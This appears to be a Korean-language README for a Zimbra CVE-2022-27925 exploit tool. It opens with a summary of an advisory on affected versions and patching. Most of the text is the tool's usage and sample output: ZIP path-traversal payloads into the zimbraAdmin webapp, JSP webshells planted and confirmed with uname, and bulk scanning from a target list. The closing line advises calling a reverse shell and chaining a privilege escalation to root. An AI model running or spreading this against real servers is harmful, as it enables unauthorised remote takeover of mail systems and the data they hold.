
Zimbra CVE-2022-27925 PoC
2022년 5월 10일, Zimbra는 Zimbra Collaboration Suite의 여러 취약점을 해결하기 위해 9.0.0 패치 24 및 8.8.15 패치 31을 출시했습니다. 여기에는 이전에 저희가 다룬 CVE-2022-27924와 CVE-2022-27925가 포함됩니다.
원래 Zimbra는 CVE-2022-27925를 인증된 경로 탐색 공격으로 분류했으며, 관리 사용자가 Zimbra 계정으로 파일 시스템의 모든 디렉터리에 파일을 쓸 수 있는 취약점이었습니다. 처음에는 관리자 전용 공격으로 간주되어 NVD는 이 취약점에 CVSS 기본 점수 7.8을 부여했습니다. 나중에 Volexity는 이 취약점을 악용하는 공격자들이 관리자 요구 사항을 우회할 방법을 찾았다는 것을 발견하고 2022년 8월 10일에 이에 대해 작성했습니다. 이 새로운 인증 우회에는 새로운 식별자인 CVE-2022-37042가 부여되었습니다.
공격자는 원래의 경로 탐색 취약점과 새로운 인증 우회를 결합하여 관리자 포트(기본값 7071)를 통해 Zimbra Collaboration Suite 시스템을 익명으로 원격 손상시킬 수 있습니다. 최근에 저희가 다루고 익스플로잇을 작성한, 현재 패치되지 않은 권한 상승 취약점과 결합하면 이 세 가지 취약점은 패치되지 않은 시스템에서 root 사용자로 원격 명령 실행을 가능하게 합니다.
공개 권고에는 언급되지 않았지만, 저희 분석에 따르면 Zimbra Collaboration Suite Network Edition(유료 에디션)은 취약하며 Open Source Edition(무료)은 취약하지 않습니다(취약한 mboximport 엔드포인트가 없기 때문입니다). 취약한 버전은 다음과 같습니다:
Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23(및 이전 버전)
Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30(및 이전 버전)
이 취약점들(및 Zimbra의 다른 취약점들)은 실제 환경에서 광범위한 악용 대상이 되고 있으므로 가능한 한 빨리 패치하거나 오프라인으로 전환해야 합니다. 침해가 의심되는 경우, Zimbra는 데이터 손실 없이 최신 패치로 Zimbra Collaboration Suite 서버를 처음부터 재구축하는 절차를 제공합니다.
출처: https://attackerkb.com/topics/dSu4KGZiFd/cve-2022-27925/rapid7-analysis
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
usage: exploit.py [-h] [-t TARGET] [-l LIST]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
URl with protocol HTTPS
-l LIST, --list LIST List of targets
root@root# python exploit.py -t zimbra.example.com
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/BQOQBN.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
root@root# python exploit.py -l targets.txt
_____ _ __
/__ / (_)___ ___ / /_ _________ _
/ / / / __ `__ \/ __ \/ ___/ __ `/
/ /__/ / / / / / / /_/ / / / /_/ /
/____/_/_/ /_/ /_/_.___/_/ \__,_/
CVE-2022-27925
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Testing URL: https://zimbra.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[+] Webshell works!!
[+] WebShell location: https://zimbra.example.com/zimbraAdmin/7RRT4G.jsp
[+] Uname -a output: Linux zimbra.docker 3.10.0-1127.8.2.el7.x86_64 #1 SMP Thu May 7 19:30:37 EDT 2020 x86_64 x86_64 x86_64 GNU/Linux
[!] Testing URL: https://patched.example.com
[!] Target is up!
[!] Creating malicious ZIP path: ../../../../mailboxd/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty_base/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
[!] Creating malicious ZIP path: ../../../../jetty/webapps/zimbraAdmin/
[!] Exploiting!
[!] Testing webshell
[-] Target not vulnerable
root@root# .
서버를 루팅하려면 리버스 셸을 호출한 다음 Slaper의 LPE를 사용하면 됩니다.